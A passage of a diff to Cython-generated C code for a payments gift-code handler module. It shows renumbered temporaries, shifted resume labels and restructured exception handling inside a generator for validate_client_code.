__pyx_cur_scope->__pyx_t_0 = __pyx_t_7; - __Pyx_XGIVEREF(__pyx_t_8); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_8; - __Pyx_XGIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; - __Pyx_XGIVEREF(__pyx_t_10); - __pyx_cur_scope->__pyx_t_3 = __pyx_t_10; - __Pyx_XGIVEREF(__pyx_t_12); - __pyx_cur_scope->__pyx_t_4 = __pyx_t_12; - __Pyx_XGIVEREF(__pyx_t_13); - __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; - __Pyx_XGIVEREF(__pyx_t_14); - __pyx_cur_scope->__pyx_t_6 = __pyx_t_14; - __Pyx_XGIVEREF(__pyx_t_15); - __pyx_cur_scope->__pyx_t_7 = __pyx_t_15; - __Pyx_XGIVEREF(__pyx_t_16); - __pyx_cur_scope->__pyx_t_8 = __pyx_t_16; - __Pyx_XGIVEREF(__pyx_t_17); - __pyx_cur_scope->__pyx_t_9 = __pyx_t_17; - __Pyx_XGIVEREF(__pyx_t_18); - __pyx_cur_scope->__pyx_t_10 = __pyx_t_18; - __Pyx_XGIVEREF(__pyx_t_19); - __pyx_cur_scope->__pyx_t_11 = __pyx_t_19; - __Pyx_XGIVEREF(__pyx_t_20); - __pyx_cur_scope->__pyx_t_12 = __pyx_t_20; - __Pyx_XGIVEREF(__pyx_t_21); - __pyx_cur_scope->__pyx_t_13 = __pyx_t_21; - __Pyx_XGIVEREF(__pyx_t_22); - __pyx_cur_scope->__pyx_t_14 = __pyx_t_22; - __Pyx_XGIVEREF(__pyx_t_23); - __pyx_cur_scope->__pyx_t_15 = __pyx_t_23; - __Pyx_XGIVEREF(__pyx_r); - __Pyx_RefNannyFinishContext(); - __Pyx_Coroutine_ResetAndClearException(__pyx_generator); - /* return from generator, awaiting value */ - __pyx_generator->resume_label = 6; - return __pyx_r; - __pyx_L43_resume_from_await:; - __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; - __pyx_cur_scope->__pyx_t_0 = 0; - __Pyx_XGOTREF(__pyx_t_7); - __pyx_t_8 = __pyx_cur_scope->__pyx_t_1; - __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_8); - __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; - __pyx_cur_scope->__pyx_t_2 = 0; - __Pyx_XGOTREF(__pyx_t_9); - __pyx_t_10 = __pyx_cur_scope->__pyx_t_3; - __pyx_cur_scope->__pyx_t_3 = 0; - __Pyx_XGOTREF(__pyx_t_10); - __pyx_t_12 = __pyx_cur_scope->__pyx_t_4; - __pyx_cur_scope->__pyx_t_4 = 0; - __Pyx_XGOTREF(__pyx_t_12); - __pyx_t_13 = __pyx_cur_scope->__pyx_t_5; - __pyx_cur_scope->__pyx_t_5 = 0; - __Pyx_XGOTREF(__pyx_t_13); - __pyx_t_14 = __pyx_cur_scope->__pyx_t_6; - __pyx_cur_scope->__pyx_t_6 = 0; - __Pyx_XGOTREF(__pyx_t_14); - __pyx_t_15 = __pyx_cur_scope->__pyx_t_7; - __pyx_cur_scope->__pyx_t_7 = 0; - __Pyx_XGOTREF(__pyx_t_15); - __pyx_t_16 = __pyx_cur_scope->__pyx_t_8; - __pyx_cur_scope->__pyx_t_8 = 0; - __Pyx_XGOTREF(__pyx_t_16); - __pyx_t_17 = __pyx_cur_scope->__pyx_t_9; - __pyx_cur_scope->__pyx_t_9 = 0; - __Pyx_XGOTREF(__pyx_t_17); - __pyx_t_18 = __pyx_cur_scope->__pyx_t_10; - __pyx_cur_scope->__pyx_t_10 = 0; - __Pyx_XGOTREF(__pyx_t_18); - __pyx_t_19 = __pyx_cur_scope->__pyx_t_11; - __pyx_cur_scope->__pyx_t_11 = 0; - __Pyx_XGOTREF(__pyx_t_19); - __pyx_t_20 = __pyx_cur_scope->__pyx_t_12; - __pyx_cur_scope->__pyx_t_12 = 0; - __Pyx_XGOTREF(__pyx_t_20); - __pyx_t_21 = __pyx_cur_scope->__pyx_t_13; - __pyx_cur_scope->__pyx_t_13 = 0; - __Pyx_XGOTREF(__pyx_t_21); - __pyx_t_22 = __pyx_cur_scope->__pyx_t_14; - __pyx_cur_scope->__pyx_t_14 = 0; - __Pyx_XGOTREF(__pyx_t_22); - __pyx_t_23 = __pyx_cur_scope->__pyx_t_15; - __pyx_cur_scope->__pyx_t_15 = 0; - __Pyx_XGOTREF(__pyx_t_23); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 356, __pyx_L16_error) - __pyx_t_3 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_3); - } else { - __pyx_t_3 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_3) < 0) __PYX_ERR(0, 356, __pyx_L16_error) - __Pyx_GOTREF(__pyx_t_3); - } - __pyx_t_23 = __pyx_t_3; - __pyx_t_3 = 0; - __Pyx_DECREF(__pyx_t_23); __pyx_t_23 = 0; - } - __pyx_r = __pyx_t_22; - __pyx_t_22 = 0; - if (PY_MAJOR_VERSION >= 3) { - __Pyx_XGIVEREF(__pyx_t_19); - __Pyx_XGIVEREF(__pyx_t_20); - __Pyx_XGIVEREF(__pyx_t_21); - __Pyx_ExceptionReset(__pyx_t_19, __pyx_t_20, __pyx_t_21); - } - __Pyx_XGIVEREF(__pyx_t_18); - __Pyx_XGIVEREF(__pyx_t_17); - __Pyx_XGIVEREF(__pyx_t_16); - __Pyx_ErrRestore(__pyx_t_18, __pyx_t_17, __pyx_t_16); - __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_16 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; - goto __pyx_L20_try_return; + __Pyx_XGOTREF(__pyx_t_11); + + goto __pyx_L60_except_continue; + __pyx_L60_except_continue:; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + goto __pyx_L30_try_continue; } - __pyx_L26:; + goto __pyx_L26_except_error; + + __pyx_L26_except_error:; + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); + goto __pyx_L16_error; + __pyx_L30_try_continue:; + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); + goto __pyx_L22_continue; + __pyx_L28_try_return:; + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); + goto __pyx_L20_try_return; + __pyx_L31_try_end:; } - goto __pyx_L44; - __pyx_L22_error:; - __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - goto __pyx_L16_error; - __pyx_L44:; + + __pyx_L22_continue:; } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; @@ -10863,111 +11264,115 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine __pyx_L16_error:; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_29); __pyx_t_29 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_30); __pyx_t_30 = 0; + __Pyx_XDECREF(__pyx_t_31); __pyx_t_31 = 0; /*except:*/ { __Pyx_AddTraceback("handlers.payments.gift.validate_client_code", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_3, &__pyx_t_2, &__pyx_t_1) < 0) __PYX_ERR(0, 354, __pyx_L18_except_error) - __Pyx_XGOTREF(__pyx_t_3); - __Pyx_XGOTREF(__pyx_t_2); + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_11, &__pyx_t_19) < 0) __PYX_ERR(0, 368, __pyx_L18_except_error) __Pyx_XGOTREF(__pyx_t_1); - __pyx_t_11 = PyTuple_Pack(3, __pyx_t_3, __pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 354, __pyx_L18_except_error) - __Pyx_GOTREF(__pyx_t_11); - __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_t_11, NULL); + __Pyx_XGOTREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_19); + __pyx_t_2 = PyTuple_Pack(3, __pyx_t_1, __pyx_t_11, __pyx_t_19); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 368, __pyx_L18_except_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_18 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_t_2, NULL); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 354, __pyx_L18_except_error) - __Pyx_GOTREF(__pyx_t_15); - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_15); - __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_18)) __PYX_ERR(0, 368, __pyx_L18_except_error) + __Pyx_GOTREF(__pyx_t_18); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_18); + __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_t_0 = __pyx_t_1; - __Pyx_XGIVEREF(__pyx_t_2); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_2; - __Pyx_XGIVEREF(__pyx_t_3); - __pyx_cur_scope->__pyx_t_2 = __pyx_t_3; __Pyx_XGIVEREF(__pyx_t_7); - __pyx_cur_scope->__pyx_t_3 = __pyx_t_7; + __pyx_cur_scope->__pyx_t_1 = __pyx_t_7; __Pyx_XGIVEREF(__pyx_t_8); - __pyx_cur_scope->__pyx_t_4 = __pyx_t_8; + __pyx_cur_scope->__pyx_t_2 = __pyx_t_8; __Pyx_XGIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_t_5 = __pyx_t_9; + __pyx_cur_scope->__pyx_t_3 = __pyx_t_9; __Pyx_XGIVEREF(__pyx_t_10); - __pyx_cur_scope->__pyx_t_6 = __pyx_t_10; + __pyx_cur_scope->__pyx_t_4 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_5 = __pyx_t_11; __Pyx_XGIVEREF(__pyx_t_12); - __pyx_cur_scope->__pyx_t_7 = __pyx_t_12; + __pyx_cur_scope->__pyx_t_6 = __pyx_t_12; __Pyx_XGIVEREF(__pyx_t_13); - __pyx_cur_scope->__pyx_t_8 = __pyx_t_13; + __pyx_cur_scope->__pyx_t_7 = __pyx_t_13; __Pyx_XGIVEREF(__pyx_t_14); __pyx_cur_scope->__pyx_t_9 = __pyx_t_14; - __Pyx_XGIVEREF(__pyx_t_15); - __pyx_cur_scope->__pyx_t_10 = __pyx_t_15; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_18; + __Pyx_XGIVEREF(__pyx_t_19); + __pyx_cur_scope->__pyx_t_11 = __pyx_t_19; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); __Pyx_Coroutine_SwapException(__pyx_generator); /* return from generator, awaiting value */ - __pyx_generator->resume_label = 7; + __pyx_generator->resume_label = 8; return __pyx_r; - __pyx_L48_resume_from_await:; + __pyx_L66_resume_from_await:; __pyx_t_1 = __pyx_cur_scope->__pyx_t_0; __pyx_cur_scope->__pyx_t_0 = 0; __Pyx_XGOTREF(__pyx_t_1); - __pyx_t_2 = __pyx_cur_scope->__pyx_t_1; + __pyx_t_7 = __pyx_cur_scope->__pyx_t_1; __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_2); - __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; - __pyx_cur_scope->__pyx_t_2 = 0; - __Pyx_XGOTREF(__pyx_t_3); - __pyx_t_7 = __pyx_cur_scope->__pyx_t_3; - __pyx_cur_scope->__pyx_t_3 = 0; __Pyx_XGOTREF(__pyx_t_7); - __pyx_t_8 = __pyx_cur_scope->__pyx_t_4; - __pyx_cur_scope->__pyx_t_4 = 0; + __pyx_t_8 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_8); - __pyx_t_9 = __pyx_cur_scope->__pyx_t_5; - __pyx_cur_scope->__pyx_t_5 = 0; + __pyx_t_9 = __pyx_cur_scope->__pyx_t_3; + __pyx_cur_scope->__pyx_t_3 = 0; __Pyx_XGOTREF(__pyx_t_9); - __pyx_t_10 = __pyx_cur_scope->__pyx_t_6; - __pyx_cur_scope->__pyx_t_6 = 0; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_4; + __pyx_cur_scope->__pyx_t_4 = 0; __Pyx_XGOTREF(__pyx_t_10); - __pyx_t_12 = __pyx_cur_scope->__pyx_t_7; - __pyx_cur_scope->__pyx_t_7 = 0; + __pyx_t_11 = __pyx_cur_scope->__pyx_t_5; + __pyx_cur_scope->__pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_6; + __pyx_cur_scope->__pyx_t_6 = 0; __Pyx_XGOTREF(__pyx_t_12); - __pyx_t_13 = __pyx_cur_scope->__pyx_t_8; - __pyx_cur_scope->__pyx_t_8 = 0; + __pyx_t_13 = __pyx_cur_scope->__pyx_t_7; + __pyx_cur_scope->__pyx_t_7 = 0; __Pyx_XGOTREF(__pyx_t_13); __pyx_t_14 = __pyx_cur_scope->__pyx_t_9; __pyx_cur_scope->__pyx_t_9 = 0; __Pyx_XGOTREF(__pyx_t_14); - __pyx_t_15 = __pyx_cur_scope->__pyx_t_10; + __pyx_t_18 = __pyx_cur_scope->__pyx_t_10; __pyx_cur_scope->__pyx_t_10 = 0; - __Pyx_XGOTREF(__pyx_t_15); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 354, __pyx_L18_except_error) - __pyx_t_11 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_11); + __Pyx_XGOTREF(__pyx_t_18); + __pyx_t_19 = __pyx_cur_scope->__pyx_t_11; + __pyx_cur_scope->__pyx_t_11 = 0; + __Pyx_XGOTREF(__pyx_t_19); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 368, __pyx_L18_except_error) + __pyx_t_2 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_2); } else { - __pyx_t_11 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_11) < 0) __PYX_ERR(0, 354, __pyx_L18_except_error) - __Pyx_GOTREF(__pyx_t_11); + __pyx_t_2 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_2) < 0) __PYX_ERR(0, 368, __pyx_L18_except_error) + __Pyx_GOTREF(__pyx_t_2); } - __pyx_t_15 = __pyx_t_11; - __pyx_t_11 = 0; - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_15); - __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (__pyx_t_6 < 0) __PYX_ERR(0, 354, __pyx_L18_except_error) + __pyx_t_18 = __pyx_t_2; + __pyx_t_2 = 0; + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_18); + __Pyx_DECREF(__pyx_t_18); __pyx_t_18 = 0; + if (__pyx_t_6 < 0) __PYX_ERR(0, 368, __pyx_L18_except_error) __pyx_t_5 = (!__pyx_t_6); if (unlikely(__pyx_t_5)) { - __Pyx_GIVEREF(__pyx_t_3); - __Pyx_GIVEREF(__pyx_t_2); - __Pyx_XGIVEREF(__pyx_t_1); - __Pyx_ErrRestoreWithState(__pyx_t_3, __pyx_t_2, __pyx_t_1); - __pyx_t_3 = 0; __pyx_t_2 = 0; __pyx_t_1 = 0; - __PYX_ERR(0, 354, __pyx_L18_except_error) + __Pyx_GIVEREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ErrRestoreWithState(__pyx_t_1, __pyx_t_11, __pyx_t_19); + __pyx_t_1 = 0; __pyx_t_11 = 0; __pyx_t_19 = 0; + __PYX_ERR(0, 368, __pyx_L18_except_error) } - __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; goto __pyx_L17_exception_handled; } __pyx_L18_except_error:; @@ -10993,9 +11398,9 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine /*finally:*/ { /*normal exit:*/{ if (__pyx_t_10) { - __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__41, NULL); + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__39, NULL); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 354, __pyx_L5_error) + if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 368, __pyx_L5_error) __Pyx_GOTREF(__pyx_t_14); __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_14); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; @@ -11015,9 +11420,9 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine __Pyx_RefNannyFinishContext(); __Pyx_Coroutine_ResetAndClearException(__pyx_generator); /* return from generator, awaiting value */ - __pyx_generator->resume_label = 8; + __pyx_generator->resume_label = 9; return __pyx_r; - __pyx_L49_resume_from_await:; + __pyx_L67_resume_from_await:; __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; __pyx_cur_scope->__pyx_t_0 = 0; __Pyx_XGOTREF(__pyx_t_7); @@ -11033,39 +11438,39 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine __pyx_t_14 = __pyx_cur_scope->__pyx_t_4; __pyx_cur_scope->__pyx_t_4 = 0; __Pyx_XGOTREF(__pyx_t_14); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 354, __pyx_L5_error) - __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 368, __pyx_L5_error) + __pyx_t_19 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_19); } else { - __pyx_t_1 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 354, __pyx_L5_error) - __Pyx_GOTREF(__pyx_t_1); + __pyx_t_19 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_19) < 0) __PYX_ERR(0, 368, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_19); } - __pyx_t_14 = __pyx_t_1; - __pyx_t_1 = 0; + __pyx_t_14 = __pyx_t_19; + __pyx_t_19 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; } goto __pyx_L15; } __pyx_L13_return: { __Pyx_PyThreadState_assign - __pyx_t_14 = 0; __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_15 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; - if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_15, &__pyx_t_21, &__pyx_t_20); + __pyx_t_14 = 0; __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_16 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_18, &__pyx_t_17, &__pyx_t_16); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_14, &__pyx_t_13, &__pyx_t_12) < 0)) __Pyx_ErrFetch(&__pyx_t_14, &__pyx_t_13, &__pyx_t_12); __Pyx_XGOTREF(__pyx_t_14); __Pyx_XGOTREF(__pyx_t_13); __Pyx_XGOTREF(__pyx_t_12); - __Pyx_XGOTREF(__pyx_t_15); - __Pyx_XGOTREF(__pyx_t_21); - __Pyx_XGOTREF(__pyx_t_20); - __pyx_t_19 = __pyx_r; + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_20 = __pyx_r; __pyx_r = 0; if (__pyx_t_10) { - __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__41, NULL); + __pyx_t_26 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_tuple__39, NULL); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 354, __pyx_L5_error) - __Pyx_GOTREF(__pyx_t_16); - __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_16); - __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (unlikely(!__pyx_t_26)) __PYX_ERR(0, 368, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_26); + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_26); + __Pyx_DECREF(__pyx_t_26); __pyx_t_26 = 0; __Pyx_XGOTREF(__pyx_r); if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_7); @@ -11082,23 +11487,23 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine __pyx_cur_scope->__pyx_t_5 = __pyx_t_13; __Pyx_XGIVEREF(__pyx_t_14); __pyx_cur_scope->__pyx_t_6 = __pyx_t_14; - __Pyx_XGIVEREF(__pyx_t_15); - __pyx_cur_scope->__pyx_t_7 = __pyx_t_15; __Pyx_XGIVEREF(__pyx_t_16); - __pyx_cur_scope->__pyx_t_8 = __pyx_t_16; - __Pyx_XGIVEREF(__pyx_t_19); - __pyx_cur_scope->__pyx_t_9 = __pyx_t_19; + __pyx_cur_scope->__pyx_t_7 = __pyx_t_16; + __Pyx_XGIVEREF(__pyx_t_17); + __pyx_cur_scope->__pyx_t_9 = __pyx_t_17; + __Pyx_XGIVEREF(__pyx_t_18); + __pyx_cur_scope->__pyx_t_10 = __pyx_t_18; __Pyx_XGIVEREF(__pyx_t_20); - __pyx_cur_scope->__pyx_t_10 = __pyx_t_20; - __Pyx_XGIVEREF(__pyx_t_21); - __pyx_cur_scope->__pyx_t_11 = __pyx_t_21; + __pyx_cur_scope->__pyx_t_11 = __pyx_t_20; + __Pyx_XGIVEREF(__pyx_t_26); + __pyx_cur_scope->__pyx_t_12 = __pyx_t_26; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); __Pyx_Coroutine_ResetAndClearException(__pyx_generator); /* return from generator, awaiting value */ - __pyx_generator->resume_label = 9; + __pyx_generator->resume_label = 10; return __pyx_r; - __pyx_L50_resume_from_await:; + __pyx_L68_resume_from_await:; __pyx_t_7 = __pyx_cur_scope->__pyx_t_0; __pyx_cur_scope->__pyx_t_0 = 0; __Pyx_XGOTREF(__pyx_t_7); @@ -11120,54 +11525,54 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine __pyx_t_14 = __pyx_cur_scope->__pyx_t_6; __pyx_cur_scope->__pyx_t_6 = 0; __Pyx_XGOTREF(__pyx_t_14); - __pyx_t_15 = __pyx_cur_scope->__pyx_t_7; + __pyx_t_16 = __pyx_cur_scope->__pyx_t_7; __pyx_cur_scope->__pyx_t_7 = 0; - __Pyx_XGOTREF(__pyx_t_15); - __pyx_t_16 = __pyx_cur_scope->__pyx_t_8; - __pyx_cur_scope->__pyx_t_8 = 0; __Pyx_XGOTREF(__pyx_t_16); - __pyx_t_19 = __pyx_cur_scope->__pyx_t_9; + __pyx_t_17 = __pyx_cur_scope->__pyx_t_9; __pyx_cur_scope->__pyx_t_9 = 0; - __Pyx_XGOTREF(__pyx_t_19); - __pyx_t_20 = __pyx_cur_scope->__pyx_t_10; + __Pyx_XGOTREF(__pyx_t_17); + __pyx_t_18 = __pyx_cur_scope->__pyx_t_10; __pyx_cur_scope->__pyx_t_10 = 0; - __Pyx_XGOTREF(__pyx_t_20); - __pyx_t_21 = __pyx_cur_scope->__pyx_t_11; + __Pyx_XGOTREF(__pyx_t_18); + __pyx_t_20 = __pyx_cur_scope->__pyx_t_11; __pyx_cur_scope->__pyx_t_11 = 0; - __Pyx_XGOTREF(__pyx_t_21); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 354, __pyx_L5_error) - __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_20); + __pyx_t_26 = __pyx_cur_scope->__pyx_t_12; + __pyx_cur_scope->__pyx_t_12 = 0; + __Pyx_XGOTREF(__pyx_t_26); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 368, __pyx_L5_error) + __pyx_t_19 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_19); } else { - __pyx_t_1 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 354, __pyx_L5_error) - __Pyx_GOTREF(__pyx_t_1); + __pyx_t_19 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_19) < 0) __PYX_ERR(0, 368, __pyx_L5_error) + __Pyx_GOTREF(__pyx_t_19); } - __pyx_t_16 = __pyx_t_1; - __pyx_t_1 = 0; - __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + __pyx_t_26 = __pyx_t_19; + __pyx_t_19 = 0; + __Pyx_DECREF(__pyx_t_26); __pyx_t_26 = 0; } - __pyx_r = __pyx_t_19; - __pyx_t_19 = 0; + __pyx_r = __pyx_t_20; + __pyx_t_20 = 0; if (PY_MAJOR_VERSION >= 3) { - __Pyx_XGIVEREF(__pyx_t_15); - __Pyx_XGIVEREF(__pyx_t_21); - __Pyx_XGIVEREF(__pyx_t_20); - __Pyx_ExceptionReset(__pyx_t_15, __pyx_t_21, __pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_ExceptionReset(__pyx_t_18, __pyx_t_17, __pyx_t_16); } __Pyx_XGIVEREF(__pyx_t_14); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_12); __Pyx_ErrRestore(__pyx_t_14, __pyx_t_13, __pyx_t_12); - __pyx_t_14 = 0; __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_15 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; + __pyx_t_14 = 0; __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_16 = 0; goto __pyx_L9_try_return; } __pyx_L15:; } - goto __pyx_L51; + goto __pyx_L69; __pyx_L11_error:; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; goto __pyx_L5_error; - __pyx_L51:; + __pyx_L69:; } } @@ -11178,60 +11583,109 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_25generator7(__pyx_Coroutine __pyx_L5_error:; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_29); __pyx_t_29 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_30); __pyx_t_30 = 0; + __Pyx_XDECREF(__pyx_t_31); __pyx_t_31 = 0; - __Pyx_ErrFetch(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_asyncio); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 367, __pyx_L7_except_error) - __Pyx_GOTREF(__pyx_t_11); - __pyx_t_24 = __Pyx_PyObject_GetAttrStr(__pyx_t_11, __pyx_n_s_TimeoutError); if (unlikely(!__pyx_t_24)) __PYX_ERR(0, 367, __pyx_L7_except_error) - __Pyx_GOTREF(__pyx_t_24); - __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_aiohttp); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 367, __pyx_L7_except_error) - __Pyx_GOTREF(__pyx_t_11); - __pyx_t_25 